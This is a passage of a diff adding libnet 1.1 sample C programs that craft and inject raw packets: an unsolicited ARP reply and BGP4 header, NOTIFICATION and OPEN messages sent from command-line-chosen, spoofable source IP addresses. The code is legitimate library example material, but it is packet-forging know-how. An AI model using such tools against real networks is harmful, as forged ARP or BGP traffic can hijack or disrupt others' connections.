+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_int32_t i;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *device = NULL;
+ u_int8_t *packet;
+ u_int32_t packet_s;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ARP[link -- autobuilding ethernet]\n");
+
+ if (argc > 1)
+ {
+ device = argv[1];
+ }
+
+ l = libnet_init(
+ LIBNET_LINK_ADV, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "%s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+ else
+
+ /*
+ * Build the packet, remmebering that order IS important. We must
+ * build the packet from lowest protocol type on up as it would
+ * appear on the wire. So for our ARP packet:
+ *
+ * -------------------------------------------
+ * | Ethernet | ARP |
+ * -------------------------------------------
+ * ^ ^
+ * |------------------ |
+ * libnet_build_ethernet()--| |
+ * |
+ * libnet_build_arp()-----------|
+ */
+
+ i = libnet_get_ipaddr4(l);
+
+ t = libnet_autobuild_arp(
+ ARPOP_REPLY, /* operation type */
+ enet_src, /* sender hardware addr */
+ (u_int8_t *)&i, /* sender protocol addr */
+ enet_dst, /* target hardware addr */
+ (u_int8_t *)&i, /* target protocol addr */
+ l); /* libnet context */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_ethernet(
+ enet_dst, /* ethernet destination */
+ ETHERTYPE_ARP, /* protocol type */
+ l); /* libnet handle */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+
+ if (libnet_adv_cull_packet(l, &packet, &packet_s) == -1)
+ {
+ fprintf(stderr, "%s", libnet_geterror(l));
+ }
+ else
+ {
+ fprintf(stderr, "packet size: %d\n", packet_s);
+ libnet_adv_free_packet(l, packet);
+ }
+
+ c = libnet_write(l);
+
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ARP packet from context \"%s\"; "
+ "check the wire.\n", c, libnet_cq_getlabel(l));
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+/* EOF */
diff --git a/libnet/sample/arp.c b/libnet/sample/arp.c
new file mode 100644
index 0000000..428b48d
--- /dev/null
+++ b/libnet/sample/arp.c
@@ -0,0 +1,151 @@
+/*
+ * $Id: arp.c,v 1.6 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ARP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#if ((_WIN32) && !(__CYGWIN__))
+#include "../include/win32/config.h"
+#else
+#include "../include/config.h"
+#endif
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_int32_t i;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *device = NULL;
+ u_int8_t *packet;
+ u_int32_t packet_s;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ARP[link -- autobuilding ethernet]\n");
+
+ if (argc > 1)
+ {
+ device = argv[1];
+ }
+
+ l = libnet_init(
+ LIBNET_LINK_ADV, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "%s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+ else
+
+ /*
+ * Build the packet, remmebering that order IS important. We must
+ * build the packet from lowest protocol type on up as it would
+ * appear on the wire. So for our ARP packet:
+ *
+ * -------------------------------------------
+ * | Ethernet | ARP |
+ * -------------------------------------------
+ * ^ ^
+ * |------------------ |
+ * libnet_build_ethernet()--| |
+ * |
+ * libnet_build_arp()-----------|
+ */
+
+ i = libnet_get_ipaddr4(l);
+
+ t = libnet_build_arp(
+ ARPHRD_ETHER, /* hardware addr */
+ ETHERTYPE_IP, /* protocol addr */
+ 6, /* hardware addr size */
+ 4, /* protocol addr size */
+ ARPOP_REPLY, /* operation type */
+ enet_src, /* sender hardware addr */
+ (u_int8_t *)&i, /* sender protocol addr */
+ enet_dst, /* target hardware addr */
+ (u_int8_t *)&i, /* target protocol addr */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet context */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_ethernet(
+ enet_dst, /* ethernet destination */
+ ETHERTYPE_ARP, /* protocol type */
+ l); /* libnet handle */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+
+ if (libnet_adv_cull_packet(l, &packet, &packet_s) == -1)
+ {
+ fprintf(stderr, "%s", libnet_geterror(l));
+ }
+ else
+ {
+ fprintf(stderr, "packet size: %d\n", packet_s);
+ libnet_adv_free_packet(l, packet);
+ }
+
+ c = libnet_write(l);
+
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ARP packet from context \"%s\"; "
+ "check the wire.\n", c, libnet_cq_getlabel(l));
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+/* EOF */
diff --git a/libnet/sample/bgp4_hdr.c b/libnet/sample/bgp4_hdr.c
new file mode 100644
index 0000000..d81802e
--- /dev/null
+++ b/libnet/sample/bgp4_hdr.c
@@ -0,0 +1,225 @@
+/*
+ *
+ * libnet 1.1
+ * Build a BGP4 header with what you want as payload
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ *
+ * Example:
+ *
+ * Sending of a BGP KEEPALIVE
+ *
+ * # ./bgp4_hdr -s 1.1.1.1 -d 2.2.2.2 -t 4
+ * libnet 1.1 packet shaping: BGP4 hdr + payload[raw]
+ * Wrote 59 byte TCP packet; check the wire.
+ *
+ * 13:55:53.811579 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
+ * 16843009:16843028(19) win 32767: BGP (ttl 64, id 242, len 59)
+ * 0x0000 4500 003b 00f2 0000 4006 73c6 0101 0101 E..;....@.s.....
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
+ * 0x0020 5002 7fff b090 0000 0101 0101 0101 0101 P...............
+ * 0x0030 0101 0101 0101 0101 0013 04 ...........
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ u_long src_ip, dst_ip, length;
+ libnet_ptag_t t = 0;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ u_char *payload = NULL;
+ u_long payload_s = 0;
+ u_char marker[LIBNET_BGP4_MARKER_SIZE];
+ u_char type;
+
+ printf("libnet 1.1 packet shaping: BGP4 hdr + payload[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE);
+ type = 0;
+
+ while ((c = getopt(argc, argv, "d:s:t:m:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 'm':
+ memcpy(marker, optarg, LIBNET_BGP4_MARKER_SIZE);
+ break;
+
+ case 't':
+ type = atoi(optarg);
+ break;
+
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(optarg);
+ break;
+
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+
+ length = LIBNET_BGP4_HEADER_H + payload_s;
+ t = libnet_build_bgp4_header(
+ marker, /* marker */
+ length, /* length */
+ type, /* message type */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_TCP_H;
+ t = libnet_build_tcp(
+ 0x6666, /* source port */
+ 179, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ length, /* TCP packet size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_IPV4_H;
+ t = libnet_build_ipv4(
+ length, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip -d destination_ip"
+ " [-m marker] [-p payload] [-t BGP type]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/bgp4_notification.c b/libnet/sample/bgp4_notification.c
new file mode 100644
index 0000000..79aa5c3
--- /dev/null
+++ b/libnet/sample/bgp4_notification.c
@@ -0,0 +1,242 @@
+/*
+ *
+ * libnet 1.1
+ * Build a BGP4 notification with what you want as payload
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ *
+ * Example:
+ *
+ * Sending of a BGP NOTIFICATION : BGP4_OPEN_MESSAGE_ERROR / BGP4_AUTHENTICATION_FAILURE
+ *
+ * # ./bgp4_hdr -s 1.1.1.1 -d 2.2.2.2 -e 2 -c 5
+ * libnet 1.1 packet shaping: BGP4 notification + payload[raw]
+ * Wrote 61 byte TCP packet; check the wire.
+ *
+ * 14:37:45.398786 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
+ * 16843009:16843030(21) win 32767: BGP (ttl 64, id 242, len 61)
+ * 0x0000 4500 003d 00f2 0000 4006 73c4 0101 0101 E..=....@.s.....
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
+ * 0x0020 5002 7fff ac8a 0000 0101 0101 0101 0101 P...............
+ * 0x0030 0101 0101 0101 0101 0015 0302 05 .............
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ u_long src_ip, dst_ip, length;
+ libnet_ptag_t t = 0;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ u_char *payload = NULL;
+ u_long payload_s = 0;
+ u_char marker[LIBNET_BGP4_MARKER_SIZE];
+ u_char code, subcode;
+
+ printf("libnet 1.1 packet shaping: BGP4 notification + payload[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ code = subcode = 0;
+ memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE);
+
+ while ((c = getopt(argc, argv, "d:s:t:m:p:c:e:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 'm':
+ memcpy(marker, optarg, LIBNET_BGP4_MARKER_SIZE);
+ break;
+
+ case 'e':
+ code = atoi(optarg);
+ break;
+
+ case 'c':
+ subcode = atoi(optarg);
+ break;
+
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(optarg);
+ break;
+
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ length = LIBNET_BGP4_NOTIFICATION_H + payload_s;
+ t = libnet_build_bgp4_notification(
+ code, /* error code */
+ subcode, /* error subcode */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build BGP4 notification: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_BGP4_HEADER_H;
+ t = libnet_build_bgp4_header(
+ marker, /* marker */
+ length, /* length */
+ LIBNET_BGP4_NOTIFICATION, /* message type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_TCP_H;
+ t = libnet_build_tcp(
+ 0x6666, /* source port */
+ 179, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ length, /* TCP packet size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_IPV4_H;
+ t = libnet_build_ipv4(
+ length, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip -d destination_ip"
+ " [-m marker] [-e error] [-c subcode] [-p payload] \n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/bgp4_open.c b/libnet/sample/bgp4_open.c
new file mode 100644
index 0000000..b6286c4
--- /dev/null
+++ b/libnet/sample/bgp4_open.c
@@ -0,0 +1,266 @@
+/*
+ *
+ * libnet 1.1
+ * Build a BGP4 open message with what you want as payload
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Examples:
+ *
+ * minimal BGP OPEN message:
+ *
+ * ./bgp4_open -s 1.1.1.1 -d 2.2.2.2
+ *
+ * 12:17:00.879139 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
+ * 16843009:16843038(29) win 32767: BGP (ttl 64, id 242, len 69)
+ * 0x0000 4500 0045 00f2 0000 4006 73bc 0101 0101 E..E....@.s.....
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
+ * 0x0020 5002 7fff ad2e 0000 0101 0101 0101 0101 P...............
+ * 0x0030 0101 0101 0101 0101 001d 0104 1234 5678 .............4Vx
+ * 0x0040 dead beef 00 .....
+ *
+ *
+ * use payload as BGP option for authentication:
+ *
+ * ./bgp4_open -s 1.1.1.1 -d 2.2.2.2 -p `printf "\x01\x01\x00"` -S 3
+ *
+ * 12:15:48.102808 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
+ * 16843009:16843041(32) win 32767: BGP (ttl 64, id 242, len 72)
+ * 0x0000 4500 0048 00f2 0000 4006 73b9 0101 0101 E..H....@.s.....
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
+ * 0x0020 5002 7fff a927 0000 0101 0101 0101 0101 P....'..........
+ * 0x0030 0101 0101 0101 0101 0020 0104 1234 5678 .............4Vx
+ * 0x0040 dead beef 0301 0100 ........
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ u_long src_ip, dst_ip, length;
+ libnet_ptag_t t = 0;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ u_char *payload = NULL;
+ u_long payload_s = 0;
+ u_char marker[LIBNET_BGP4_MARKER_SIZE];
+
+ printf("libnet 1.1 packet shaping: BGP4 open + payload[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE);
+
+ while ((c = getopt(argc, argv, "d:s:t:m:p:S:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 'm':
+ memcpy(marker, optarg, LIBNET_BGP4_MARKER_SIZE);
+ break;
+
+ case 'p':
+ payload = optarg;
+ break;
+
+ case 'S':
+ payload_s = atoi(optarg);
+ break;
+
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ goto bad;
+ }
+
+ if (payload_s && !payload)
+ {
+ payload = (u_char *)malloc(payload_s);
+ if (!payload)
+ {
+ printf("memory allocation failed (%ld bytes requested)\n", payload_s);
+ goto bad;
+ }
+ memset(payload, 0x41, payload_s);
+ }
+
+
+ if (payload && !payload_s)
+ {
+ payload_s = strlen(payload);
+ }
+
+ length = LIBNET_BGP4_OPEN_H + payload_s;
+ t = libnet_build_bgp4_open(
+ 4, /* version */
+ 0x3412, /* my AS */
+ 0x7856, /* hold time */
+ 0xefbeadde, /* BGP id */
+ payload_s, /* options length */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build BGP4 open header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_BGP4_HEADER_H;
+ t = libnet_build_bgp4_header(
+ marker, /* marker */
+ length, /* length */
+ LIBNET_BGP4_OPEN, /* message type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_TCP_H;
+ t = libnet_build_tcp(
+ 0x6666, /* source port */
+ 179, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ length, /* TCP packet size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_IPV4_H;
+ t = libnet_build_ipv4(
+ length, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip -d destination_ip"
+ " [-m marker] [-p payload] [-S payload size]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/bgp4_update.c b/libnet/sample/bgp4_update.c
